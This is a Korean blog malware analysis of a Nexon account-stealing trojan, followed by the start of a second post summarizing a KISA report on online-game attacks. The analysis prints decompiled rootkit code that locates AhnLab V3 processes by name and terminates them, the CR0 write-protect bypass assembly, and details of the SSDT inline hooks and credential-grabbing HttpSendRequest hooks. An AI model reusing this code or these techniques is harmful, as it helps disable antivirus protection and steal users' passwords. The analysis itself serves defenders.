보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력해주세요.

본문을  읽기전에 필요한 사전지식으로는

* 윈도우 시스템에 대한 간략한 지식
* 어셈블리언어에 대한 이해
* C언어에 대한 이해
* 후킹 기술에 대한 이해
* 디버깅 경험

정도를 필요로 합니다.

위 이론들을 잘 모르신다면 , 글을 이해하는데 어려움이 있을수 있습니다.

 

우선 글의 목차를 말씀드립니다.

첫번째로는 , 악성코드의 전파경로가 어떻게되는지와 , Dropper 파일의 역할에 대해서 다룹니다.

두번째로는 , Ahnlab V3라이트가 어떤방식으로 해커가 의도한대로 무력화되는지에 대해서 다룹니다.

세번쩨로 , 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




먼저 악성코드에 대한 설명부터 하겠습니다.

최근 들어 중국발 온라인게임 계정 유출을 목적으로 한 악성코드가 국내에 많이 퍼지고 있습니다.
이 악성코드는 자체적으로 네이트온 메신저를 해킹하여 , 계정과 비밀번호를 가로챈뒤 ,
사용자 몰래 어느 시점에 로그인을 수행해서  해당 사용자의 지인들을 대상으로 하여,
악성코드 다운로드 URL을 무차별적으로 전송시키는 기능을 가지고 있습니다.

쪽지의 내용은 대체적으로 아래와 비슷한 형식으로 퍼지고 있습니다.


하버드 15년 연구제작한 이미지는  뭐 헛소리라고 보시면 될듯하네요.
아마 15년동안 연구 제작한 악성코드 라고 봐야할까요?
어찌됐던 저 파란색 URL주소를 클릭하면  클릭 즉시 악성코드 다운로드 창이 바로 뜹니다.

여기서 하나 당부드리는건 , 저런 쪽지 받으시면 절대 클릭해서는 안된다는겁니다.
뭐 클릭한다고해서 바로 피해보는건 아니지만 막상 파일을 다운로드 받고나면 호기심에 실행해보시는 분들이 여럿 있습니다.
다운로드 받은 파일을 실행하는 즉시,  모든 작업이 이미 이루어져서 컴퓨터내부 곳곳에 뿌려지게 됩니다.


본문에서 분석 설명할 대상 샘플은 위 쪽지를 기반으로 하여 , 가장 최근에 입수한 샘플입니다.

File Name : Animation.scr
File Size : 245KB (251,869 Bytes)
File Date : ‎2010‎년 ‎3‎월 ‎20‎일 ‎토요일, ‏‎오후 7:36:16
CRC32 : B923AAA9
MD5 : F4012760ECD428AE2E717EDA88802AE9
SHA-1 : 520119DF0219800865BA57B4E0821FF4ECC3CEC5


중국해커들은 프로그램을 제작한 뒤  , Binder라는 종류의 프로그램을 써서
하나의 Fake목적의 사진 파일과 , 본질적인 목적의 악성코드 파일,  총 2개의 파일을 하나로 뭉치는 프로그램을 대부분 쓰고 있습니다.
그 결과물이 Animation.scr이라는 파일이고,
이렇게 하나로 뭉쳐진 파일을 실행하게되면 , Fake사진만 화면에 뜨고 모든것이 끝난것처럼 보이게 됩니다.

저는 항상 윈도우탐색기에서 확장자표시 기능을 쓰기 때문에 , Fake인지 쉽게 분간할 수 있지만
대부분의 컴퓨터 사용자들은 확장자표시 기능을 사용하고 있지 않기 때문에 , 저 파일이
화면보호기 파일인지 ,  일반 폴더를 나타내는것인지 바로바로 구분하기가 힘듭니다.
(사실 저도 처음엔 저게 폴더로 진입하는 것인줄 알고 , 한번 실행을 해버렸습니다. 즉, 낚였다는거죠 -_-;;)

scr파일을 풀어보면 2개의 파일이 존재합니다.
jpg는 그냥 쓰잘데기없는 파일이고 , godsan.exe가 핵심입니다.

보통 이러한 악성코드는 간단한 프로텍터로 암호화 해두는 경우가 많습니다.
PEiD 시그내쳐에서는  Morphine v1.2 라고 나오네요.
뭐 어떠한 종류의 Packer가 됐던간에 , 이러한 종류의 악성코드는 뻔한 수법을 쓸게 뻔하기 때문에 손쉽게 Unpacking이 가능합니다.
악성코드가 사용할 법한 API에다가 BreakPoint(중단점) 를 걸어두고 Execution(프로그램 실행) 을 시켜버리는것이죠.
예를 들어서 CreateFile 이란 API를 호출해서 파일을 드랍시킬것이 뻔하기 때문에 CreateFileW에만 BreakPoint를 걸고 Execution을 시켜도,
모든 Packer코드는 풀려져있고 , 악성코드는 하나도 뿌려지지않은 상태에 놓여지기때문에 손쉽게 언패킹이 가능합니다.

자세한 설명은 생략하기로 하고, 어찌됐건  godsan.exe라는 놈의 기능을 정리하면 아래와 같습니다.

1. 파일을 Drop 합니다. 곳곳에 뿌리기 때문에 초보분들은 파일을 전부다 색출해내기가 쉽지 않습니다.

한가지 웃긴게  중국 해커놈들이 요즘 대부분의 보안업체나 악성코드 분석가들이 이러한 종류의 악성코드들이 system32 경로에 뿌려지는것에 익숙해졌다고 판단해서,
이제 GetWindowsDirectory 호출을 해서  Windows Path를 얻어온뒤 , strcat으로 system 경로를 추가시킵니다.
즉 , C:\Windows\system  경로에다가 악성코드를 뿌리는것이지요.
그리고 DLL파일의 형태가 아닌 DAT파일과  log 파일로 뿌리는것을 확인할 수 있습니다.
이것은 일부 백신에서 EXE파일과 DLL파일 패턴의 위주로 빠르게 검사하는 알고리즘을 회피하기 위한 목적입니다.

(참고로  DLL을 DAT로 뿌린다고 해서 실행에는 아무런 문제가 없습니다. LoadLibrary 호출 후 GetProcAddress를 호출하는건 마찬가지로 정상작동 됩니다..)



------------핵심 파일들에 대한 간단한 분석------------
* 위 파일 목록에서 Exewen.exe  파일은  최초 유포파일인 godsan.exe와 100% 동일한 파일입니다.

* Lin.log 파일은  godsan.exe 파일의 PE헤더에서 MZ문자열을 ML 이라는 문자열로 바꿔버려서 PE파일이 아닌것처럼 속이기 위해서 저장된 파일입니다. 그 뒤에 Lin.log 파일을 Exewen.exe 라는 파일로 자기복제를 수행합니다.
이러한 작업의 수행은 Baidog.dat 파일 내부에서 이뤄집니다.
  이것또한 백신의 탐지를 우회하기 위해서 이런짓을 하는것으로 보여집니다.

* Baidog.DAT 파일이 실질적인 계정 유출을 담당하는 파일이며, 원래는 DLL 파일입니다.

* Lcomres.Dat 파일은 PE헤더 문자열이 ML로 조작되어져 있는 Exewen.exe 파일을 MZ문자열로 바꾸는 기능을 가지고 있습니다.

* Sting.log 파일은 MS윈도우 커널에 루트킷 드라이버를 로드시키기 위한 SYS 파일입니다.






2.  리버스 엔지니어링을 방지하기 위한 Code Obfuscation(코드 난독화)
거창하게 난독화 기법이 적용된건 아니고 , 중간중간에 조금씩 적용시켜놨네요.
마치 Themida SDK에서 제공하는 매크로 함수 형태처럼 적용시켜놓은것 같군요.
어찌됐건 저러한 난독화 기법이 분석하는데 영향을 줄 정도는 아닙니다.
분명한것은 , 이전 버젼의 이러한 악성코드는 난독화 기법은 쓰지않았었는데 , 최근 샘플은 좀 업그레이드 됐군요.


3. 윈도우 메시지 훅 프로시저 설치 - DLL Injection

Baidog.DAT파일을 LoadLibraryA -> GetProcAddress (Export된 Function Address를 구해옴) -> 전역 함수포인터에 주소를 저장
-> 전역 함수 포인터 호출


Export Function의 이름은 KaiShi 라는 이름의 함수였습니다.
KaiShi가 중국어 같은데 무슨말일까요?   - Kaishi : 시작하다 - 
KaiShi 함수는 윈도우메시지 훅 프로시저를 설치합니다. 유저 프로세스에 전역적으로 Baidog.Dat 를 인젝션을 하겠다는 목적이죠.



그럼 이제 Baidog.Dat 파일을  살펴봅시다.


여기서부터 Ahnlab의 V3라이트가 어떤방식으로 무력화 되는지에 대해서 다룹니다.

1. 루트킷 설치

Sting.log
이라는 놈을 sysnames.sys 라는 파일로 C:\Windows\system\에다가 복사한 뒤,
커널 드라이버를 로드합니다. 그 후 sysnames.sys 파일은 삭제시킵니다.

sysnames.sys  루트킷은  아래와 같이 SSDT Hooking의 역할을 수행합니다.



Hooking 타겟 Native API 함수는 아래와 같습니다.
NtOpenProcess
NtTerminateProcess


후킹된 부분을 디스어셈블 해보면 아래와 같습니다.

0: kd> u nt!NtOpenProcess
nt!NtOpenProcess:
805cd40a e941366878      jmp     sysnames+0xa50 (f8c50a50)
805cd40f 68c0c44d80      push    offset nt!ObWatchHandles+0x25c (804dc4c0)
805cd414 e87707f7ff      call    nt!_SEH_prolog (8053db90)
805cd419 33f6            xor     esi,esi                    (NtOpenProcess + 0x0F)
805cd41b 8975d4          mov     dword ptr [ebp-2Ch],esi
805cd41e 33c0            xor     eax,eax
805cd420 8d7dd8          lea     edi,[ebp-28h]
805cd423 ab              stos    dword ptr es:[edi]

NtOpenProcess 앞단을 따내서 자신의 드라이버영역으로 끌고오는것을 확인할 수 있습니다.
InterlockedExchange를 이용한  주소 교체 방식의 후킹을 수행하지않고, 인라인 후킹을 수행합니다.
이렇게 되면 SSDT Restore와  SSDT Hook에 구애받지 않고 , 원하는 목적을 수행할 수 있습니다.

점프된 영역을 디스어셈블 해보면 다음과 같습니다.
0: kd> u f8c50a50
sysnames+0xa50:
f8c50a50 68c4000000      push    0C4h
f8c50a55 8b358814c5f8    mov     esi,dword ptr [sysnames+0x1488 (f8c51488)]  esi = nt!ObWatchHandles+0x25c
f8c50a5b 56              push    esi
f8c50a5c ff159814c5f8    call    dword ptr [sysnames+0x1498 (f8c51498)]   원본 SEH설치 함수
f8c50a62 ff258c14c5f8    jmp     dword ptr [sysnames+0x148c (f8c5148c)]  NtOpenProcess+0xf 영역으로 점프
f8c50a68 cc              int     3
f8c50a69 cc              int     3
f8c50a6a cc              int     3

즉 , 이 코드의 최종흐름은 다음과 같습니다.
push 0x0c4
push    offset nt!ObWatchHandles+0x25c (804dc4c0)
call    nt!_SEH_prolog (8053db90)
xor     esi,esi                    (NtOpenProcess + 0x0F)
mov     dword ptr [ebp-2Ch],esi
............................

NtOpenProcess 후킹의 목적은 정보 가로챔등의 특별한 목적이 있는 후킹이 아니라,
Ahnlab의  SSDT Inline Hook을 무력화 하기 위해서 시행하는것으로 판단됩니다.
중국해커가 Ahnlab V3 Lite 의 정확한 분석을 통해서 드라이버를 작성한것으로 생각됩니다.


참고로 Ahnlab V3 Lite 나 HackShield 등에서 사용하고있는 NtOpenProcess 후킹방식은 
call nt!_SEH_prolog (8053db90) 부분을 Inline Patch 해서  보안모듈로 넘어오게끔 하는 방식으로 되어져 있습니다.


아래의 화면을 보시면 핵쉴드가 써먹는 NtOpenProcess 인라인 후킹 수법을 보여주고 있습니다.
원래 call    nt!_SEH_prolog (8053db90)  이 호출되어야 할 부분에서 EagleNT 모듈을 호출하는것을 확인할 수 있죠.
V3 백신도 이것과 동일하게 적용되어져 있습니다.





그런데 루트킷에 감염되게되면 다음과 같이 되죠.
스샷이 짤려서 보이게되면 , 클릭해서 보시면 됩니다.

보안프로그램에서 인라인 후킹해놓은 지점을 건너뛰어버립니다.
따라서 후킹하기전의 상태로 돌려놓는 것이 되버리죠.




다음은 NtTerminateProcess 입니다.
0: kd> u nt!NtTerminateProcess
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]
0: kd> u
nt!NtTerminateProcess+0x11:
805d49bd 837d0800        cmp     dword ptr [ebp+8],0
805d49c1 8bf8            mov     edi,eax
805d49c3 8b4744          mov     eax,dword ptr [edi+44h]
805d49c6 8945f0          mov     dword ptr [ebp-10h],eax
805d49c9 7406            je      nt!NtTerminateProcess+0x25 (805d49d1)
805d49cb c645ff01        mov     byte ptr [ebp-1],1
805d49cf eb08            jmp     nt!NtTerminateProcess+0x2d (805d49d9)
805d49d1 834d08ff        or      dword ptr [ebp+8],0FFFFFFFFh
0: kd> u
nt!NtTerminateProcess+0x29:
805d49d5 c645ff00        mov     byte ptr [ebp-1],0
805d49d9 8a8740010000    mov     al,byte ptr [edi+140h]
805d49df 6a00            push    0
805d49e1 8845f8          mov     byte ptr [ebp-8],al
805d49e4 8d45f8          lea     eax,[ebp-8]
805d49e7 50              push    eax
805d49e8 ff75f8          push    dword ptr [ebp-8]
805d49eb ff35b8595680    push    dword ptr [nt!PsProcessType (805659b8)]
0: kd> u
nt!NtTerminateProcess+0x45:
805d49f1 e97ac06778      jmp     sysnames+0xa70 (f8c50a70)
805d49f6 e8a58afeff      call    nt!ObReferenceObjectByHandle (805bd4a0)
805d49fb 85c0            test    eax,eax
805d49fd 8b75f8          mov     esi,dword ptr [ebp-8]
805d4a00 8bde            mov     ebx,esi
805d4a02 0f8ce8000000    jl      nt!NtTerminateProcess+0x144 (805d4af0)
805d4a08 8d8648020000    lea     eax,[esi+248h]
805d4a0e f6400120        test    byte ptr [eax+1],20h

ObReferenceObjectByHandle을 호출하기전에  자신의 드라이버로 건너뛰게 패치되어져 있습니다.
즉 , Ahnlab V3 라이트에서는  
call   nt!ObReferenceObjectByHandle (805bd4a0) 부분을 Inline Hook 작성해놨을 가능성이 크다는거죠.

결론적으로 NtOpenProcess와  NtTerminateProcess를 후킹하는목적은
Ahnlab V3 Lite의  자가보호 기능을 무력화 시키기 위함입니다.

강제 종료 로직은 , 유저모드 DLL에서 수행하는것이 아닌 , 커널모드 루트킷에서 강제종료를 수행하는것으로 분석되었습니다.
(나중에 해당 로직이 나옵니다.)


해커에게 표적이 된 프로세스 목록은 다음과 같습니다.

 'V3LTray.exe'
 'KSWebShield.exe'
'SgSvc.exe'
 'V3LSvc.exe'
 'V3Light.exe'


참고로 이 악성코드에 감염되게 되면 , 현재 V3 라이트가 실행중이라면 V3 라이트 가 종료되게 되고,
V3 라이트가 시스템에 설치되어져 있지않은 상태에서 , V3 라이트를 설치해서 실행하려고 하면
V3 라이트와 사이트가드 관련 서비스는 실시간으로 모두 강제 종료되게되서 , 전혀 작동하지 않는 상태가 됩니다.


 
이제 프로세스를 어떻게 강제로 종료시키는지, 해당 부분을 알아봅시다.
아래는 강제종료에 관련한 코드를  IDA Hexray를 이용해서 나타낸 것입니다.

(참고 : 아래 부분은 PsSetCreateProcessNotifyRoutine에 의해서 프로세스 생성 , 종료시 호출되는 NotifyRoutine으로 등록된 부분의 핵심부분을 나타낸겁니다.)


result = PsLookupProcessByProcessId(a2, &v9);
    if ( result >= 0 )
    {
      if ( v9 )
      {
        v4 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v4, "V3LTray.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v5 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v5, "KSWebShield.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v6 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v6, "SgSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v7 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v7, "V3LSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v8 = (const char *)PsGetProcessImageFileName(v9);
        result = stricmp(v8, "V3Light.exe");
        if ( !result )
        {
          dword_11490 = a2;
          result = PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }

해당 프로세스를 발견하면  시스템쓰레드를 생성해서 특정한 작업을 수행합니다.
StartRoutine을 살펴보니 다음과 같았습니다.


NTSTATUS __stdcall StartRoutine(int a1)
{
  sub_10A90(5000);
  sub_10D10((void *)dword_11490);
  return PsTerminateSystemThread(0);
}
NTSTATUS __stdcall sub_10A90(int a1)
{
  LARGE_INTEGER Interval; // [sp+0h] [bp-8h]@1

  Interval = (LARGE_INTEGER)(-10000i64 * a1);
  return KeDelayExecutionThread(0, 0, &Interval);
}
NTSTATUS __stdcall sub_10D10(void *a1)
{
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+4h] [bp-28h]@1
  void *v3; // [sp+1Ch] [bp-10h]@1
  CLIENT_ID ClientId; // [sp+20h] [bp-Ch]@1
  HANDLE Handle; // [sp+28h] [bp-4h]@1

  Handle = 0;
  v3 = a1;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 0;
  ObjectAttributes.ObjectName = 0;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  ClientId.UniqueProcess = a1;
  ClientId.UniqueThread = 0;
  if ( !NtOpenProcess(&Handle, 0x1F0FFFu, &ObjectAttributes, &ClientId) )
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
  return ZwClose(Handle);
}

위 코드에서 주목해야할 부분은 
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
부분입니다.

NtOpenProcess를 먼저 호출한뒤에 , NtOpenProcess가 성공한다면 STATUS_SUCCESS (0x00000000L) 이 리턴될것이고

그러면 dword_11494의 함수포인터를 호출하겠죠.
dword_11494가 무엇인지 확인해보기 위해서  코드 레퍼런스를 추적해보니  다음과 같은 디스어셈블 코드가 나왔습니다.
mov     edx, ds:KeServiceDescriptorTable
mov     eax, [edx]
add     eax, 404h

mov     [ebp+var_C], eax
mov     ecx, [ebp+var_C]
mov     edx, [ecx]
mov     dword_11494, edx


위 코드의 의미를 WinDBG에서 먹히는 명령어로 변환해보면 다음과 같습니다.
0: kd> dds poi(KeServiceDescriptorTable) + 0x404
80506864  805d49ac nt!NtTerminateProcess
80506868  805d4ba6 nt!NtTerminateThread
8050686c  805d6c0c nt!NtTestAlert
80506870  80537108 nt!NtTraceEvent
80506874  8061811e nt!NtTranslateFilePath
80506878  805862ce nt!NtUnloadDriver
8050687c  80624062 nt!NtUnloadKey
80506880  8062427c nt!NtUnloadKeyEx

0: kd> r $t0 = poi(KeServiceDescriptorTable) + 0x404
0: kd> r $t1 = poi(@$t0)

0: kd> u @$t1
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]

0: kd> r $t2 = poi(@$t1)
0: kd> r $t2
$t2=8b55ff8b  (Byte 참조 순서가 거꾸로인 이유는  IA-32 Compatible CPU는  Little Endian 방식의 메모리 참조를 하기 때문.)


자...이제 아시겠죠?
NtTerminateProcess를 커널모드에서도 호출하고 있음을 명확하게 확인할 수 있습니다.
0x404는  서비스넘버를 하드코딩한것으로 보입니다.
PsGetVersion을 호출해서 OS별로 서비스넘버를 하드코딩한게 아니라 ,
그냥  MS WindowsXP SP3 버젼을 기준으로 해서 서비스넘버를 하드코딩 한것으로 보입니다.
따라서 이 악성코드는  윈도우XP 서비스팩3 버젼이 아닌, 다른 버젼의 NT OS(Vista , 7 , XP SP2 등) 에서 실행했을 경우,
또는 다른 커널모드 보안 드라이버와 충돌할 경우  ,블루스크린이 발생할 가능성이 있습니다.



결과적으로 이 로직의 순서는 다음과 같습니다.

PsSetCreateProcessNotifyRoutine을 호출하여 , NotifyRoutine을 설치해둠.
( 프로세스 생성과 종료시 , NotifyRoutine이 실행됨)

- 아래 내용은 프로세스가 생성, 종료될때마다 실행됩니다. (NotifyRoutine) -

1. PsLookupProcessByProcessId를 호출해서 해당 프로세스의 PEPROCESS를 얻어오고, 
PEPROCESS를 인자로 넘기면서 PsGetProcessImageFileName을 호출하여 V3 관련 프로세스가 실행중인지 확인.

2. 타겟 프로세스가 발견되면 특정 목적을 수행하는 시스템쓰레드를 생성.

3. 시스템쓰레드는 KeDelayExecutionThread를 호출해서 약 5초간 쓰레드 실행을 지연시킴.

4. NtOpenProcess를 호출하여, 성공하면 핸들을 반환.(이미 후킹되어져 있기때문에 거의 성공함)

5. HANDLE값과 ExitCode 값 0을 인자로 넘기면서 , NtTerminateProcess를 호출하여  해당 프로세스 종료.

6. ZwClose를 호출해서 Usage Count를 내림.

7. 시스템쓰레드 자동 폭파.

이상으로 , 이 악성코드에서  V3관련 프로세스를 때려부수기 위한 로직은 대충 파악을 끝낸것 같습니다.




아참 , 그리고 SSDT에 수정을 가하기 위해서
MDL을 쓰느냐  , CR0 Hook을 쓰느냐  궁금해하실 분들이 계실수도 있는데,
이 루트킷에서는 CR0 Hook 방식을 사용하더군요.
정확히 말하자면  Intel IA-32 CPU의 Control Register 0번의  Write Protection Bit를  1에서 0으로 조작하는 형태입니다.
이 작업을 수행하는 코드는 이미 널리 알려진대로 다음과 같습니다.
  PUSH EAX
  MOV EAX,CR0
  AND EAX,0xFFFEFFFF
  MOV CR0,EAX
  POP EAX

참고로 이 드라이버는 아주 더럽게도  DriverUnload에 어떠한 언로드 코드도 넣어두지 않고 있습니다.
완전 더러운놈들이죠...드라이버 언로드 되도 끝까지 살아남겠다는 그 의지!
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11170;
void __stdcall sub_11170(int a1)
{
  ;
}
이런 더러운 놈들!



& Baidog.dat 추가적인 정보 &

* v3ltray.exe가 윈도우 부팅 시 자동으로 실행되지 않게끔 레지스트리에서 값을 제거하는 기능을 가지고 있음.





여기서부터는 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




*  WININET.DLL에서 제공하는 함수인  HttpSendRequestA와  HttpSendRequestW 함수를 후킹해서
넥슨 홈페이지에 ID와 비밀번호를 입력해서 로그인할때 , ID와 비밀번호를 훔쳐내는 기능을 가지고 있음.


아래는 API Inline 후킹된 모습을 나타내는 스샷입니다.
First Bytes를 Inline Patch해서  해커가 코딩한 영역으로 끌고오는 모습을 확인할 수 있습니다.



넥슨 홈페이지에 접속해서
ID에다가  THIS_IS_ID
Password 에다가 THIS_IS_PASS
라고 치고  로그인을 해보겠습니다.



고스란히  Baidog.dat 메모리 영역에  ID와 비밀번호가 찍히고 있는 모습을 확인할 수가 있습니다.
strNexon ID= 라는 문자열과  strPassword= 라는 문자열이 있는것으로 봐서  철저히 패턴 위주로 문자열을 탐색하고 있음을 짐작해볼 수 있습니다.
저 부분에 엑세스하는 모든 주소를 캡쳐해보았는데 , 브포가 걸린 지점에서 콜스택을 확인해보니 다음과 같이 나왔습니다.


0x10003488 주소에 대해서 RtlZeroMemory를 수행하던 도중에 , 중지되었습니다.

콜 스택을 확인해보니 , 다음과 같이 전개되었음을 유추할수 있겠네요.

로그인버튼 누름 ->IE에서 아이디와 비밀번호를 인자로 전달하여 , HttpSendRequestW 호출 -> HttpSendRequestW에서 해커가 코딩한 영역으로 점프함  -> 아이디와 비밀번호를 저장하는영역(배열) 을 RtlZeroMemory 를 호출해서 0으로 초기화 시킴.  -> 해당 영역을 가로챈 아이디와 비밀번호로 채움.   


HttpSendRequestW 함수가 호출되면서 인자로 strNexonId와  strPassword가 전달됨을 확인할 수 있습니다.
그런데 HttpSendRequestW는 현재 API Inline Hook 된 상태입니다.
당연히 해커가 작성한 프로그램영역으로 넘어오겠죠?
해커는 굴러들어온 인자를 적절히 문자열 컨트롤만 해주면 됩니다.
즉 , 넥슨사이트의 ID와 비밀번호 전송 알고리즘 부분은 이미 중국해커에게 모두다 분석 당한 상태이고,
중국해커는 그 부분을 이용해서 손쉽게 넥슨ID와 비밀번호를 털어내가고 있는것입니다.

위와같이 정보를 빼가는 방식은  키보드보안이나 개인방화벽의 작동여부와는 일백퍼센트 무관한 경우입니다.


결국엔 이 악성코드에 감염되고 나서 , 게임을 접속하지않고 ,  
IE를 이용해서 넥슨 관련 모든 홈페이지에 로그인 접속만 하면
넥슨계정은 털리게 될것입니다.


넥슨은 이쯤에서  사이트 리모델링을 해야될 필요성이 있습니다.
아니 , 어찌보면 우리나라가 인터넷익스플로러에 찌들었다는게 참 안타까운 현실입니다..........




** 추가정보 **
HttpSendRequestA , HttpSendRequestW 의 후킹 여부를 탐지해주는 프로그램





악성코드에 관한 정보는  많은분들께 도움이 됐으면 좋겠습니다.  (특히나 온라인게임 업계 종사자분들께)





// 2010.4.17 내용 추가


PS2. 이 글 내용과 제목이 뭔가 오해를 불러일으킬만한 소지가 있는것 같네요.
즉 , 이 글을 놓고봤을때 , 넥슨의 아이디와 비밀번호 전송 부분이 분석당해서 넥슨 계정이 대량으로 털리고있으니, 이건 넥슨 잘못이다,  라고  치부해버리는 분들이 계시는데,

여기서 저의 생각을 대략 말씀드리면

이 모든것의 시작은 악성코드 감염으로 인해서 이루어지는것이므로 ,
1차적인 책임은 유저들에 있습니다. (개인부주의로 인한 - 각종 인터넷습관 등)
무작정 넥슨의 책임으로 몰아가기에는 무리가 있다는 말입니다.
해커는 단지 사용자들이 악성코드에 감염되길 바라고 있을뿐입니다.




//2010. 6. 3 내용 추가
위 내용대로 HttpSendRequestA와  HttpSendRequestW의 후킹을 이용해서 
ID와 비밀번호를 탈취하는것은 이제 막혔습니다.
아이디와 비밀번호를 암호화해서 전송하는 방식으로 바뀌었습니다.
따라서 , 이 암호화부분이 분석되기전까지는 API 후킹을 통한 넥슨계정탈취 수법은 통하지 않을겁니다.
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'Reverse Engineering' 카테고리의 다른 글

flo`s Notepad2 4.1.24  (1) 2010.04.04
AT4RE JOINER 4.0  (5) 2010.04.04
넥슨 온라인게임 악성코드에 관한 분석  (89) 2010.03.25
W32Dasm 10.0  (0) 2010.02.04
Kernel Detective 1.3.1  (5) 2010.01.23
모 온라인 게임 보안 프로그램이 후킹하는 SDT 함수들  (6) 2009.12.21
by Sone 2010.03.25 23:47

* 이 글은 비단 테일즈위버 뿐만이 아닌 ,  모든 온라인게임에 해당되는 글임을 미리 밝힙니다. *

 

 

 

2006년

 

KISA( 한국정보보호진흥원 ) 에서는  온라인 게임 해킹 대응이란 주제로  문서파일을 배포했습니다.

이 문서에는  국내 온라인게임의 시장 현황, 서비스 구동방식 , 공격현황과 , 그에 따른 대응책 등이 서술되어 있습니다.

 

정독해본결과 , 최근현황과 크게 다르지 않다고 판단되어 ,

 

문서  내용 중 일부인 ,    온라인 게임 서비스 공격 현황에 대해서 글을 옮겨봅니다.

 

이 공격 현황이란 주제는

대부분 온라인게임에서 골칫거리로 문제되고 있는,

매크로, 프리서버,스피드핵,메모리 변조,패킷 변조, 계정 해킹 을  담고 있습니다.

 

총체적인 온라인게임에 대한 위협적인 문제들이 어떤것들이 있는지  모르시는분들은 

한번쯤 읽어보는것도 좋을것 같습니다.

 

 

 

 

 

 

 

온라인 게임의 공격 유형으로는 크게 서버 공격과 클라이언트 공격으로 나눌 수 있다.


서버 공격은 말 그대로의 서버 해킹을 의미한다.

웜, Dos공격, 패킷 리플라이 공격, 웹사이트 취약점 공격 등 악의적 목적을 갖고 서비스를 마비시키기 위하여 서버를 다운시키거 나, 소스 코드를 탈취하는 등의 부류가 이에 속한다.

 

클라이언트 공격은 자신의 PC에 설치된 클라이언트 파일에 대한 변조나 스피드핵 사용, 메모리 조작 등을 들 수 있다. 사용자들
이 흔히 표현하는“핵”이라는 용어가 이 클라이언트 해킹 범주에 들어가게 된다.

 

그렇다면, 서버 공격과 클라이언트 공격은 구체적으로 어떤 것들이 있는지 유형별로 살펴보기로 하겠다.

 

 

 

 

 

*  빨간색으로 표시를 해놓은것은 ,  골칫덩어리인 문제로 판단되어서, 따로  표시해놓았습니다.

 

그중 굵은 글씨로 표기해놓은 것은 , 더욱 심각한 문제입니다.

 

 

 제 개인적인 견해를  주석으로 밑에다가 달아놓았습니다.

 

 

 

 

목차

 

 

 

1. 서버 공격

-가. 게임 소스 탈취 (프리서버)

-나. Dos, 웜, 패킷 리플라이 공격 (서비스를 마비시키는 목적)

-다. 웹 사이트 취약점 (계정 해킹을 목적으로 시도함)

-라. Non Client BOT  (중국인 매크로에 해당)

 

2. 클라이언트 공격

-가. 스피드 핵의 원리

-나. 매크로 (오토마우스, USB스틱 등)

-다. 메모리 변조, 파일 변조 (아이템 능력치 변조,  게임 규칙을 위반하는 행동) - 주로 FPS 총게임이 표적

-라. 패킷 변조  (한방 핵의 원리, NON Client BOT , 매크로에 이용)

-마. 계정 해킹

 

 

1. 서버 공격

 

가. 게임 소스 탈취 (프리서버)


어떤 프로그램이든 그렇겠지만, 온라인 게임의 소스 코드 역시 보안에 보안을 거듭해도
모자라지 않을 만큼 중요한 것이다. 이 게임 소스를 탈취하면, 게임에 대한 정보를 모두 파
악할 수 있고, 똑같은 게임을 마음대로 서비스할 수도 있다. 우리나라의 온라인 게임은 국
제적으로도 상당한 수준이라, 해외로 수출하는 경우가 많은데, 대부분의 게임 소스는 이때
에 유출되곤 한다.
본 서버에 비해 상대적으로 보안에 허술한 테스트 서버 오픈 시에 이러한 소스 탈취의
위험도가 더 높게 되며, 해킹을 통해 유출된 소스로 인해 생겨나는 것들이 바로 프리서버
(Free Server)라는 불법 게임 서버이다. 프리서버의 발생은 곧 게임 서비스 질 저하로 이어
지게 된다.

 

> 주로 온라인 게임 프리서버와 관련된 문제입니다. 

대다수의 프리서버는  역시나 위에서 설명한대로,  게임 수출과정에  게임프로그래밍소스가 유출되어져서 생긴겁니다.

또다른 경우는 ,  초고수 해커가 , 클라이언트와 패킷의 내용을  모두  리버스엔지니어링 과정을 거쳐서,

완벽하게  재현한 경우가 있을수 있겠습니다.

 

 

나. Dos, 웜, 패킷 리플라이 공격 (서비스를 마비시키는 목적)


악의적 목적을 가지고 게임 서비스를 중단시키려는 경우가 이에 속한다. 게임 서비스에
불만을 갖고 혹은 해커의 실력을 과시하기 위해 서버를 공격하여 다운시킨 후 서비스를 할
수 없게 만드는 경우를 말한다. 서버 공격의 대표격인 Dos공격을 가하거나, 웜에 의한 무
